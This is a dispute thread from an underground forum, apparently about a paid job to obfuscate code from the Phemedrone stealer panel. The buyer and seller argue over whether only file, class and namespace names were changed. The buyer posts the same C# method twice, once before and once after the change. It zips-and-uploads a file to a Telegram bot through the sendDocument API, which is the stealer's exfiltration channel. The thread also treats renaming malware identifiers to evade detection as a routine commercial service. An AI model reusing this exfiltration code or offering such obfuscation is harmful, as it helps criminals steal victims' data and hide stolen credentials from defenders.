VEGA CODING AKA RUSTICUS ON TELEGRAM 290$ NEW EVIDENCE OF HIS SCAM [MUST WATCH}

[261]

Scammers Profile Link: https://cracked.sh/VEGA
Sales Thread: website
Amount or Item(s) Scammed: 1
Screenshots of Communication:
The deal:
Old threads: https://cracked.sh/Thread-VEGA-CODING-AK...0-REOPENED
New evidence of his scam since admin closed thread for poor evidence:
Original code function name Telegram.cs:


Modified code: (PanelTelegram.cs):

User accepted on the deal to change functions name, the seller didnt, he only changed file names, if you broke the deal and you dont do your task, thats on my country is called SCAM.

@Alex I sent you a video of the full original software working as you requested.

[1]

System bot message: @VEGA (VEGA) has been notified about this dispute via private messages and has 24hours to reply in this thread

 

Taking care of cracked.sh's leechers. Every day.
If you have a question regarding your leeching level, click here.

[261]

His modification was on 2024, the origianl code on 2023

[1.180]

@Alex this guy's a joke. Even after you closed the dispute he opens again again repeating the same old references saying didn't add function names. Please resolve this

---

I am formally objecting to the reopening of this dispute.
1. Procedural Violation (Double Jeopardy): This case was previously reviewed and closed. It is against standard forum protocol to allow a user to reopen a closed case simply because they are unhappy with the result. This constitutes harassment and abuse of the dispute system. The Client had his chance to provide evidence previously and failed to do so within the deadline.

2. The "New" Evidence is Manipulated and Invalid
The Client has submitted a screenshot comparing

Code:

Telegram.cs

(Original) to

Code:

PanelTelegram.cs

(My Code).This screenshot actually PROVES I did the work:

• Fact: I renamed the File itself.
  
• Fact: I renamed the Class.
  
• Fact: I renamed the Namespaces.
  
• Fact: I synced the entire codebase to match these new definitions.
  

The Client's Complaint: He is complaining that a specific method is still named

Code:

Send

. The Rebuttal: In C#/.NET development, changing Class Names and Namespaces (

Code:

Telegram

->

Code:

PanelTelegram

) IS the definition of obfuscation and refactoring. Complaining that a method is named

Code:

Send

(a universal standard for network transmission functions) is absurd.

• Analogy: If I change a car's paint, engine, and license plate, it is a modified car. The Client is screaming "Scam!" because the steering wheel is still round.
  
• Technical Reality: Changing universal method names like
  
  Code:

  Send
  often breaks libraries and API dependencies. I performed a massive refactor of the code structure (Namespaces/Classes), which he is conveniently ignoring to focus on one word.
  

3. Suspicious Timing of the "Private Video"
The Client failed to provide a video of the software working when originally asked. Now, weeks later, he suddenly produces a video?

• Deduction: If the software worked originally, the video would have been sent immediately. The significant delay strongly suggests the Client has spent this time repairing or modifying the original software to create this video.
  
• Transparency: I object to "private" evidence. I cannot verify if he is running the exact file he sent me, or a fixed version. Fair dispute resolution requires that I see the evidence used against me.
  

4. Conclusion
The Client is engaging in "Refund Scaming" by nitpicking a single method name (

Code:

Send

) after I successfully refactored his entire Class and Namespace structure. He is wasting the Moderators' time and damaging my commercial reputation.I request this dispute be dismissed immediately as a violation of forum rules regarding closed cases, and the Client be warned for harassment.

[261]

@Alex this guy's a joke. Even after you closed the dispute he opens again again repeating the same old references saying didn't add function names. Please resolve this

---

I am formally objecting to the reopening of this dispute.
1. Procedural Violation (Double Jeopardy): This case was previously reviewed and closed. It is against standard forum protocol to allow a user to reopen a closed case simply because they are unhappy with the result. This constitutes harassment and abuse of the dispute system. The Client had his chance to provide evidence previously and failed to do so within the deadline.

2. The "New" Evidence is Manipulated and Invalid
The Client has submitted a screenshot comparing

Code:

Telegram.cs

(Original) to

Code:

PanelTelegram.cs

(My Code).This screenshot actually PROVES I did the work:

• Fact: I renamed the File itself.
  
• Fact: I renamed the Class.
  
• Fact: I renamed the Namespaces.
  
• Fact: I synced the entire codebase to match these new definitions.
  

The Client's Complaint: He is complaining that a specific method is still named

Code:

Send

. The Rebuttal: In C#/.NET development, changing Class Names and Namespaces (

Code:

Telegram

->

Code:

PanelTelegram

) IS the definition of obfuscation and refactoring. Complaining that a method is named

Code:

Send

(a universal standard for network transmission functions) is absurd.

• Analogy: If I change a car's paint, engine, and license plate, it is a modified car. The Client is screaming "Scam!" because the steering wheel is still round.
  
• Technical Reality: Changing universal method names like
  
  Code:

  Send
  often breaks libraries and API dependencies. I performed a massive refactor of the code structure (Namespaces/Classes), which he is conveniently ignoring to focus on one word.
  

3. Suspicious Timing of the "Private Video"
The Client failed to provide a video of the software working when originally asked. Now, weeks later, he suddenly produces a video?

• Deduction: If the software worked originally, the video would have been sent immediately. The significant delay strongly suggests the Client has spent this time repairing or modifying the original software to create this video.
  
• Transparency: I object to "private" evidence. I cannot verify if he is running the exact file he sent me, or a fixed version. Fair dispute resolution requires that I see the evidence used against me.
  

4. Conclusion
The Client is engaging in "Refund Scaming" by nitpicking a single method name (

Code:

Send

) after I successfully refactored his entire Class and Namespace structure. He is wasting the Moderators' time and damaging my commercial reputation.I request this dispute be dismissed immediately as a violation of forum rules regarding closed cases, and the Client be warned for harassment.

You didnt a shit, its the fucking same code, you only changed the filename, are you fucking kidding me? There is no way you can defend this. Its the fucking same code:

Code:

 
namespace Phemedrone.Panel;

public class Telegram
{
    public static void Send(string botToken, string chatId, string filePath, string filename, string caption)
    {
        Task.Run(async () =>
        {
            using (HttpClient httpClient = new HttpClient())
            {
                MultipartFormDataContent form = new MultipartFormDataContent();

                form.Add(new StringContent(chatId), "chat_id");
                form.Add(new StringContent(caption), "caption");

                using (FileStream fileStream = File.OpenRead(filePath))
                {
                    byte[] fileBytes = new byte[fileStream.Length];
                    await fileStream.ReadAsync(fileBytes, 0, (int) fileStream.Length);

                    ByteArrayContent byteArrayContent = new ByteArrayContent(fileBytes);
                    byteArrayContent.Headers.Add("Content-Type", "application/zip");
                    byteArrayContent.Headers.Add("Content-Disposition",
                        $"form-data; name=\"document\"; filename=\"{filename}\"");

                    form.Add(byteArrayContent, "document", filename);

                    string apiUrl = $"https://api.telegram.org/bot{botToken}/sendDocument";
                    await httpClient.PostAsync(apiUrl, form);
                }
            }
        });
    }
}

Code:

 
namespace Phemedrone.Panel;

public class PanelTelegramClient
{
    public static void Send(string botToken, string chatId, string filePath, string filename, string caption)
    {
        Task.Run(async () =>
        {
            using (HttpClient httpClient = new HttpClient())
            {
                MultipartFormDataContent form = new MultipartFormDataContent();

                form.Add(new StringContent(chatId), "chat_id");
                form.Add(new StringContent(caption), "caption");

                using (FileStream fileStream = File.OpenRead(filePath))
                {
                    byte[] fileBytes = new byte[fileStream.Length];
                    await fileStream.ReadAsync(fileBytes, 0, (int)fileStream.Length);

                    ByteArrayContent byteArrayContent = new ByteArrayContent(fileBytes);
                    byteArrayContent.Headers.Add("Content-Type", "application/zip");
                    byteArrayContent.Headers.Add("Content-Disposition",
                        $"form-data; name=\"document\"; filename=\"{filename}\"");

                    form.Add(byteArrayContent, "document", filename);

                    string apiUrl = $"https://api.telegram.org/bot{botToken}/sendDocument";
                    await httpClient.PostAsync(apiUrl, form);
                }
            }
        });
    }
}

I told you to change functions and variables name, not class. 
Its so obvious, how you didnt got banned yet?
@Alex this is a scam.

---

CHANGE FUNCTIONS AND VARIABLES NAMES, NOT CLASS, FUNCTIONS AND VARIABLES, WHAT YOU DONT UNDERSTAND??

[261]

This is a bump

---

@Ping yo